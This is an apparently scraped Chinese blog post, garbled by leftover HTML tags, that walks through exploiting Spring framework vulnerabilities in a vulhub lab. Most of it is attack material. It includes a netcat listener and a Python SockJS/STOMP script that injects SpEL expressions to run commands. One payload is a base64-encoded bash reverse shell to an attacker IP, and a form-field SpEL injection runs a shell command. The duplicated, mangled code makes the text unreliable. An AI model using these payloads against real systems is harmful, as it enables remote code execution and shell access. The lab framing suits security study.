前言<\/h2>

Spring是 Java EE编程领域的一个轻量级开源框架，该框架是为了解决企业级编程开发中的复杂性，业务逻辑层和其他各层的松耦合问题，因此它将面向接口的编程思想贯穿整个...
<\/p>

nc -lvp 8888
<\/p>

&_T(java.lang.Runtime).getRuntime().exec("\/bin\/bash \/tmp\/1")
<\/p>

logging.basicConfig(stream=sys.stdout, level=logging.INFO)<\/p>

def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))<\/p>

class SockJS(threading.Thread):
def init<\/strong>(self, url, args, **kwargs):
super().init<\/strong>(<\/em>args, **kwargs)
self.base = f'{url}\/{random.randint(0, 1000)}\/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\/5.0)'
}
self.t = int(time.time()*1000)<\/p>

def run(self):
    url = f'<\/span>{<span class="hljs-built_in">self<\/span>.base}\/htmlfile?c=_jp.vulhu<span class="hljs-string">b'
    response = self.session.get(url, stream=True)
    for line in response.iter_lines():
        time.sleep(0.5)

def send(self, command, headers, body='<\/span><span class="hljs-string">'):
    data = [command.upper(), '<\/span>\n<span class="hljs-string">']

    data.append('<\/span>\n<span class="hljs-string">'.join([f'<\/span>{k}:{v}<span class="hljs-string">' for k, v in headers.items()]))

    data.append('<\/span>\n\n<span class="hljs-string">')
    data.append(body)
    data.append('<\/span>\x00<span class="hljs-string">')
    data = json.dumps(['<\/span><span class="hljs-string">'.join(data)])

    response = self.session.post(f'<\/span>{<span class="hljs-built_in">self<\/span>.base}\/xhr_send?t={<span class="hljs-built_in">self<\/span>.t}<span class="hljs-string">', data=data)
    if response.status_code != 204:
        logging.info(f"send '<\/span>{command}<span class="hljs-string">' data error.")
    else:
        logging.info(f"send '<\/span>{command}<span class="hljs-string">' data success.")

def __del__(self):
    self.session.close()
<\/code><\/pre>
sockjs = SockJS('http:\/\/your-ip:8080\/gs-guide-websocket')

sockjs.start()

time.sleep(1)<\/p>
sockjs.send('connect', {

'accept-version': '1.1,1.0',

'heart-beat': '10000,10000'

})

sockjs.send('subscribe', {

'selector': "T(java.lang.Runtime).getRuntime().exec('touch \/tmp\/success')",

'id': 'sub-0',

'destination': '\/topic\/greetings'

})<\/p>
data = json.dumps({'name': 'vulhub'})

sockjs.send('send', {

'content-length': len(data),

'destination': '\/app\/hello'

}, data)<\/p>
<\/p>

logging.basicConfig(stream=sys.stdout, level=logging.INFO)<\/p>
def random_str(length):

letters = string.ascii_lowercase + string.digits

return ''.join(random.choice(letters) for c in range(length))<\/p>
class SockJS(threading.Thread):

def init<\/strong>(self, url, args, **kwargs):

super().init<\/strong>(<\/em>args, **kwargs)

self.base = f'{url}\/{random.randint(0, 1000)}\/{random_str(8)}'

self.daemon = True

self.session = requests.session()

self.session.headers = {

'Referer': url,

'User-Agent': 'Mozilla\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\/5.0)'

}

self.t = int(time.time()*1000)<\/p>
def run(self):
    url = f'<\/span>{<span class="hljs-built_in">self<\/span>.base}\/htmlfile?c=_jp.vulhu<span class="hljs-string">b'
    response = self.session.get(url, stream=True)
    for line in response.iter_lines():
        time.sleep(0.5)

def send(self, command, headers, body='<\/span><span class="hljs-string">'):
    data = [command.upper(), '<\/span>\n<span class="hljs-string">']

    data.append('<\/span>\n<span class="hljs-string">'.join([f'<\/span>{k}:{v}<span class="hljs-string">' for k, v in headers.items()]))

    data.append('<\/span>\n\n<span class="hljs-string">')
    data.append(body)
    data.append('<\/span>\x00<span class="hljs-string">')
    data = json.dumps(['<\/span><span class="hljs-string">'.join(data)])

    response = self.session.post(f'<\/span>{<span class="hljs-built_in">self<\/span>.base}\/xhr_send?t={<span class="hljs-built_in">self<\/span>.t}<span class="hljs-string">', data=data)
    if response.status_code != 204:
        logging.info(f"send '<\/span>{command}<span class="hljs-string">' data error.")
    else:
        logging.info(f"send '<\/span>{command}<span class="hljs-string">' data success.")

def __del__(self):
    self.session.close()
<\/code><\/pre>
sockjs = SockJS('http:\/\/192.168.253.7:8080\/gs-guide-websocket')

sockjs.start()

time.sleep(1)<\/p>
sockjs.send('connect', {

'accept-version': '1.1,1.0',

'heart-beat': '10000,10000'

})

sockjs.send('subscribe', {

'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1My42NS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}')",

'id': 'sub-0',

'destination': '\/topic\/greetings'

})<\/p>
data = json.dumps({'name': 'vulhub'})

sockjs.send('send', {

'content-length': len(data),

'destination': '\/app\/hello'

}, data)<\/p>
<\/p>

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch \/tmp\/a001")]=&amp;password=&amp;repeatedPassword=

<\/p>

Context:上下文<\/p>
Bean:被Spring 容器管理的Java对象<\/p>
AOP:面向切面的编程

<\/p>